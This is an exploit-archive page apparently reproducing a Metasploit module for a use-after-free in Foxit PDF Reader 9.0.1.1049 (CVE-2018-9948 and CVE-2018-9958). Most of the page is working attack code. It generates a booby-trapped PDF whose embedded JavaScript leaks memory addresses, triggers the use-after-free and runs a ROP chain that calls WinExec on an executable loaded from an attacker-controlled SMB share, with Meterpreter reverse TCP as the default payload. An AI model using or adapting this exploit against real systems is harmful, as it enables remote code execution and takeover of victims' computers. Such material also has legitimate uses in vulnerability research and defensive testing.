Foxit PDF Reader 9.0.1.1049 Pointer Overwrite Use-After-Free

2018.08.24
Credit: mr_me
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => 'Foxit PDF Reader Pointer Overwrite UAF', 'Description' => %q{ Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability in the Text Annotations component and the TypedArray's use uninitialized pointers. The vulnerabilities can be combined to leak a vtable memory address, which can be adjusted to point to the base address of the executable. A ROP chain can be constructed that will execute when Foxit Reader performs the UAF. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me', # Use-after-free and PoC 'bit from meepwn', # Uninitialized pointer 'saelo', # JavaScript Garbage Collector 'Jacob Robles' # Metasploit Module ], 'References' => [ ['CVE', '2018-9948'], ['CVE', '2018-9958'], ['ZDI', '18-332'], ['ZDI', '18-342'], ['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'], ['URL', 'https://srcincite.io/pocs/cve-2018-9958.pdf.txt'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => true, 'FILENAME' => 'test.pdf', 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Platform' => 'win', 'Targets' => [ ['Windows 10 Pro x64 Build 17134', {}] ], 'DisclosureDate' => 'Apr 20 2018', 'DefaultTarget' => 0)) register_options([ OptString.new('EXENAME', [false, 'EXE file to download', '']), OptString.new('SHARE', [false, 'SMB share hosting exe', '']) ]) end def pdfdoc share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE'] fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME'] fname << '.exe' unless fname.ends_with?('.exe') share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}" num = 4 - (share_path.length % 4) share_path << "\x00"*num return nil if share_path.length > 44 print_status("share_path: #{share_path}") rop = '' max_index = 0 share_path.unpack('V*').each_with_index {|blk, index| rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk] max_index = index } (max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)} <<~PDFDOC %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( var heap_ptr = 0; var foxit_base = 0; var pwn_array = []; function prepare_heap(size){ var arr = new Array(size); for(var i = 0; i < size; i++){ arr[i] = this.addAnnot({type: "Text"});; if (typeof arr[i] == "object"){ arr[i].destroy(); } } } function gc() { const maxMallocBytes = 128 * 0x100000; for (var i = 0; i < 3; i++) { var x = new ArrayBuffer(maxMallocBytes); } } function alloc_at_leak(){ for (var i = 0; i < 0x64; i++){ pwn_array[i] = new Int32Array(new ArrayBuffer(0x40)); } } function control_memory(){ for (var i = 0; i < 0x64; i++){ for (var j = 0; j < pwn_array[i].length; j++){ pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4 } } } function leak_vtable(){ var a = this.addAnnot({type: "Text"}); a.destroy(); gc(); prepare_heap(0x400); var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); var leaked = stolen[0] & 0xffff0000; foxit_base = leaked - 0x01f50000; } function leak_heap_chunk(){ var a = this.addAnnot({type: "Text"}); a.destroy(); prepare_heap(0x400); var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); alloc_at_leak(); heap_ptr = stolen[1]; } function reclaim(){ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret rop[0x02] = 0x72727272; // junk rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret rop[0x04] = 0xffffffff; // ret of WinExec rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret rop[0x0a] = foxit_base + 0x0041c6ca; // ret rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret #{rop} rop[0x17] = 0x00000000; // adios, amigo } } function trigger_uaf(){ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { that.getAnnot(0, "uaf").destroy(); reclaim(); return 1; } } }); a.point = arr; } function main(){ leak_heap_chunk(); leak_vtable(); control_memory(); trigger_uaf(); } if (app.platform == "WIN"){ if (app.isFoxit == "Foxit Reader"){ if (app.appFoxitVersion == "9.0.1.1049"){ main(); } } } )>> trailer <</Root 1 0 R>> PDFDOC end def exploit mypdf = pdfdoc if mypdf.nil? fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.') end file_create(mypdf) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top